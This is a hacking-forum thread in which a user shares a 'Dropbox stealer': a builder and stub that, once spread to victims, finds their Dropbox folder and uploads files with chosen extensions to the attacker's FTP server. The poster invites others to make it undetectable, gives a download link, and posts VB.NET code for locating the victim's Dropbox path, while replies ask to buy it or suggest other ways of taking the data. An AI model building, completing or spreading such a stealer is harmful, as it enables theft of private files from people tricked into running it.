Thread: [Dropbox File Stealer \[95% complete source\]](#)

Adolf Hipster - January 3, 2015, 3:53 am

Well I saw some doofus selling a dropbox stealer so I decided to try to make one myself.

Now I dont want to continue on it as im bored as FUARK!!! (this always happens when i code stuff)

Code

[b][url=https://www.dropbox.com/s/ivhoj52u0b998cb/Dropbox%20Stealer.rar?dl=0]DOWNLOAD
LINK[/url][/b]

It contains the builder, and the builder compiles the file via codedom.

IMAGES

Spoiler ([Click to View](#))

Credits to Eternal for his codedom compiler.

And perhaps someone else will want to play around with this.

Maybe try to make it fud, optimize my shitty code and stuff like that.

Have a great day!

What does this do exactly? Looks interesting

Adolf Hipster - January 3, 2015, 4:23 am

Lels.

Pretty basic what it does actually.

You first choose want kind of files you want to steal then you just generate a server, and spread it to your friends. If they have dropbox and have any files that matches the exstension you chosed it will attempt to upload those files to your FTP server.

But I recommend checking out the source yourself to see what you need to change, improve and stuff.

So, this is basically a file uploader? that "Dropbox Stealer" made me think of something else, it can be other directory other than dropbox, and that's easy?

Adolf Hipster - January 3, 2015, 6:29 am

Yes, you just change the directory of the variable "FolderPath" in the stub and it will look for your preferred extensions in there instead.

tomchaz148 - January 3, 2015, 6:32 am

How does this find the Dropbox directory, I have dropbox on a second HDD, not the default path.

Adolf Hipster - January 3, 2015, 6:34 am

Try running that code in a new project and see if it finds your dropbox path.

tomchaz148 - January 3, 2015, 7:13 am

I am not typing out that code just to test for you, if you post in plain text then I will.

My host.db file looks like this, so your base64 decode will fail

```
Code 000000
RjpcRHJvcGJveA==
```

Adolf Hipster - January 3, 2015, 7:46 am

My host.db file looks like this, so your base64 decode will fail

```
Code 000000
RjpcRHJvcGJveA==
Yes it does indeed fail.
```

But this works.

```
Code Dim FolderPath As String
      Dim STR As String = "000000 RjpcRHJvcGJveA=="
      'Dim dbPath =
System.IO.Path.Combine(System.Environment.GetFolderPath(System.Environment.SpecialFolder.
ApplicationData), "Dropbox\host.db")
      Dim dbBase64Text = System.Convert.FromBase64String(STR.Split(" ")(1))
      FolderPath = System.Text.Encoding.ASCII.GetString(dbBase64Text).Replace("M4",
""").Replace("?", "") & "\"
Returns F:\Dropbox
```

EDIT: btw I just asume all host.db's are in this format

Code 000000

kajsdaslkdjas==

so removing the newline char and then splitting out the base64 text would solve this issue?

Code RichTextBox1.Text = RichTextBox1.Text.Replace(ControlChars.Lf, ",")

Dim word As String = RichTextBox1.Text.Split(",")(1)

MsgBox(word)

My richtextbox1.text contained this text

000000

RjpcRHJvcGJveA==

LinkMoney - January 3, 2015, 8:25 am

Uploads Dropbox Stealer onto Dropbox ^^ But nice work.

Visualize - January 7, 2015, 4:47 pm

Damn I really need something like this. How much would you want for you to complete it? Or can you tell me who sold this originally?

nathan72389 - January 7, 2015, 5:00 pm

I understand what your doing here, but would it not be easier to just have the app make a txt file of the links from their dropbox and then just send you that. then you would not be refiling around through possibly 100's of files.
